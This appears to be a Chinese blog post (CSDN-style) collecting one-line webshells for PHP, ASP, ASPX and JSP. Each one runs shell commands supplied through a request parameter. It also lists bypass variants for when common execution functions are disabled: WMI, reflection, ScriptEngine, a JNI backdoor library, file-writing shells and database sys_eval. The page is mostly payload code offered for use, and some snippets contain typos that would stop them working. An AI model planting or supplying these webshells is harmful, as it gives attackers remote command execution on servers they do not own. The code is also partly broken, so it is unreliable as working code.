关于一句话木马

文章目录

PHP

php 复制代码
<?php echo @eval($_REQUEST[888]); ?>  
php 复制代码
<?php @system($_GET[888]); ?>  

ASP

asp一句话

vbnet 复制代码
<% @Language=VBScript %>  <%-- 默认的省略 --%>
<% @Language=JScript %> <%-- 必须标注 --%>
typescript 复制代码
<% eval request('cmd') %> //代码执行函数需要在前端传入 cmd=<% set ws=CreateObject(WScript.shell).exec('whoami'): Response.Write ws.StdOut.ReadAll() %>
  
<%execute request(777)%>
  //该代码分为VBscript和JScript
typescript 复制代码
<% set wx=CreateObject("WScript.shell").exec(request("cmd")):Response.Write wx.StdOut.ReadAll() %>

比如

vbnet 复制代码
<% @Language=JScript %> //定义js版本的asp一句话
<% var a = new ActiveXObject(WScript.shell).exec(request(999));Response.Write(a.StdOut.ReadAll();) %>

CreateObject("WScript")被禁用

java 复制代码
<%
    On Error Resume Next
    Set sa = CreateObject("Shell.Application")
    sa.ShellExecute "cmd.exe", "/c " & Request("cmd") & " > c:\temp\result.txt", "", "open", 0
    If Err.Number = 0 Then
        Response.Write "Command executed via Shell.Application"
    Else
        Response.Write "Shell.Application failed: " & Err.Description
    End If
%>
java 复制代码
<%
    On Error Resume Next
    Set dotnet = CreateObject("System.Diagnostics.Process")
    dotnet.StartInfo.FileName = "cmd.exe"
    dotnet.StartInfo.Arguments = "/c " & Request("cmd")
    dotnet.StartInfo.UseShellExecute = False
    dotnet.StartInfo.RedirectStandardOutput = True
    dotnet.Start()
    Response.Write dotnet.StandardOutput.ReadToEnd()
    
    If Err.Number <> 0 Then
        Response.Write ".NET component failed"
    End If
%>

ASPX

aspx一句话

typescript 复制代码
<%@ page Language="c#" %>
<% System.Diagnostics.Process.start("cmd.exe"+"/c "+Request['cmd']).StandardOutput.ReadToEnd(); %>
typescript 复制代码
<%@ page Language="C#" %>
  <script runat="server">
    <% 
  void Page_Load(object sender, EventArgs e){
    string cmd = Request["cmd"];
    if (!string.IsNullOrEmpty(cmd)){
     var proc = System.Diagnostics.process();
     proc.StratInfo.FileName = "cmd.exe";
     proc.StratInfo.Argument = "/c " + cmd;
     proc.StratInfo.UseShellExecute = false; //是否使用windows的外壳来执行true的话无法重定向回显
     proc.StratInfo.RedirectStandardOutput =true; //重定向输出到内存流 true的话就直接输出到控制台了
     proc.StratInfo.RedirectStandardError = true; //重定向错误到内存流 报错也可以读取到
     proc.Strat();
     Response.Write(proc.StandardOutput.ReadToEnd());
    }
  }

  %>
typescript 复制代码
<%@ page Language="c#" %>
<% 
  var p = new  System.Diagnostics.Process();
  p.StratInfo.FileName = "cmd.exe";
  p.StratInfo.Ageument = "/c "+ Request["cmd"];
  p.StratInfo.UseShellExecute = fales;
  p.StratInfo.RedirectStandardOutput = true;
  p.start();
  Response.Write(p.StandardOutput.ReadToEnd());
  %>

System.Diagonstics.process() 被禁用

java 复制代码
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Management" %>
<%
    try {
        string cmd = Request["cmd"];
        ManagementClass processClass = new ManagementClass("Win32_Process");
        ManagementBaseObject inParams = processClass.GetMethodParameters("Create");
        inParams["CommandLine"] = "cmd.exe /c " + cmd;
        ManagementBaseObject result = processClass.InvokeMethod("Create", inParams, null);
        Response.Write("Process started with ID: " + result["ProcessId"]);
    } catch (Exception e) {
        Response.Write("WMI Error: " + e.Message);
    }
%>
java 复制代码
<%@ Page Language="C#" %>
<%
    try {
        string cmd = Request["cmd"];
        Type processType = Type.GetType("System.Diagnostics.Process");
        System.Reflection.MethodInfo startMethod = processType.GetMethod("Start", new Type[] { typeof(string) });
        object result = startMethod.Invoke(null, new object[] { cmd });
        Response.Write("Reflection executed");
    } catch (Exception e) {
        Response.Write("Reflection Error: " + e.Message);
    }
%>

jsp

jsp一句话

java 复制代码
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
java 复制代码
<%@ page import="java.io.*" %><% Process proc= Runtime.getRuntime().exec(request.getparameter("cmd")); BufferedReader r = new BufferedReader(new InputStreamReader(proc.getInputStream())); String line; while((line = r.readLine()) !=null){out.println(line);} %>
java 复制代码
<%@ page import="java.io.*"%>
<% 
 String [] cmd ={"/bin/sh","-c",request.getParameter("cmd")};
 Process proc = Runtime.getRuntime().exec(cmd);
 BufferedReader r = new BufferedReader(new InputStreamReader(proc.getInputStream()));
 String line;
 while ((line = r.readLine())!= null){
     out.println(line);
 }
%>
java 复制代码
<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    String os = System.getProperty("os.name").toLowerCase();
    
    Process proc;
    if (os.contains("win")) {
        // Windows系统
        proc = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd});
    } else {
        // Linux/Unix系统
        proc = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
    }
    
    BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()));
    String line;
    while ((line = reader.readLine()) != null) {
        out.println(line);
    }
    reader.close();
%>

如果runtime被禁用 (面试常问)

java 复制代码
<%@ page import="java.io.*" %>
<%
    try {
        String cmd = request.getParameter("cmd");
        ProcessBuilder pb = new ProcessBuilder("/bin/sh", "-c", cmd);
        pb.redirectErrorStream(true);
        Process p = pb.start();
        
        BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = reader.readLine()) != null) {
            out.println(line);
        }
    } catch (Exception e) {
        out.println("ProcessBuilder Error: " + e.getMessage());
    }
%>
java 复制代码
<%@ page import="javax.script.*" %>
<%
    try {
        ScriptEngineManager manager = new ScriptEngineManager();
        ScriptEngine engine = manager.getEngineByName("javascript");
        String jsCode = "java.lang.Runtime.getRuntime().exec('" + request.getParameter("cmd") + "')";
        engine.eval(jsCode);
        out.println("JS executed");
    } catch (Exception e) {
        out.println("ScriptEngine Error: " + e.getMessage());
    }
%>
java 复制代码
<%@ page import="java.lang.reflect.*" %>
<%
    try {
        Class rt = Class.forName("java.lang.Runtime");
        Method getRuntime = rt.getMethod("getRuntime");
        Object runtime = getRuntime.invoke(null);
        
        Method exec = rt.getMethod("exec", String.class);
        Process p = (Process) exec.invoke(runtime, request.getParameter("cmd"));
        
        BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = reader.readLine()) != null) {
            out.println(line);
        }
    } catch (Exception e) {
        out.println("Reflection Error: " + e.getMessage());
    }
%>
java 复制代码
<%@ page import="java.nio.file.*" %>
<%
    try {
        // 通过JNI调用本地库(需要提前准备)
        System.load("/tmp/backdoor.so");
        out.println("JNI loaded");
    } catch (Exception e) {
        out.println("JNI Error: " + e.getMessage());
    }
%>
java 复制代码
<%@ page import="java.io.*" %>
<%
    try {
        String content = request.getParameter("file");
        if (content != null) {
            // 写入webshell文件
            FileWriter fw = new FileWriter("/tmp/shell.jsp");
            fw.write(content);
            fw.close();
            out.println("File written");
        }
    } catch (Exception e) {
        out.println("File Error: " + e.getMessage());
    }
%>
java 复制代码
<%@ page import="java.sql.*" %>
<%
    try {
        Class.forName("com.mysql.jdbc.Driver");
        Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root", "password");
        Statement stmt = conn.createStatement();
        
        // 通过数据库执行命令(如果支持)
        ResultSet rs = stmt.executeQuery("SELECT sys_eval('" + request.getParameter("cmd") + "')");
        if (rs.next()) {
            out.println(rs.getString(1));
        }
    } catch (Exception e) {
        out.println("DB Error: " + e.getMessage());
    }
%>
相关推荐
LawrenceLan18 小时前
Flutter 零基础入门(十二):枚举(enum)与状态管理的第一步
开发语言·前端·flutter·dart
charlie11451419119 小时前
从 0 开始的机器学习——NumPy 线性代数部分
开发语言·人工智能·学习·线性代数·算法·机器学习·numpy
catchadmin19 小时前
Laravel12 + Vue3 的免费可商用商业级管理后台 CatchAdmin V5 正式发布
开发语言·php
袁气满满~_~20 小时前
Python数据分析学习
开发语言·笔记·python·学习
云安全干货局20 小时前
服务器被攻击后如何快速恢复?数据备份 + 应急响应手册
网络·网络安全·云服务器·弹性云服务器
寻星探路20 小时前
【算法专题】滑动窗口:从“无重复字符”到“字母异位词”的深度剖析
java·开发语言·c++·人工智能·python·算法·ai
程序员小白条20 小时前
面试 Java 基础八股文十问十答第八期
java·开发语言·数据库·spring·面试·职场和发展·毕设
Dxy123931021620 小时前
python连接minio报错:‘SSL routines‘, ‘ssl3_get_record‘, ‘wrong version number‘
开发语言·python·ssl
大王小生20 小时前
C# CancellationToken
开发语言·c#·token·cancellation
listhi52020 小时前
基于C#实现屏幕放大镜功能
开发语言·c#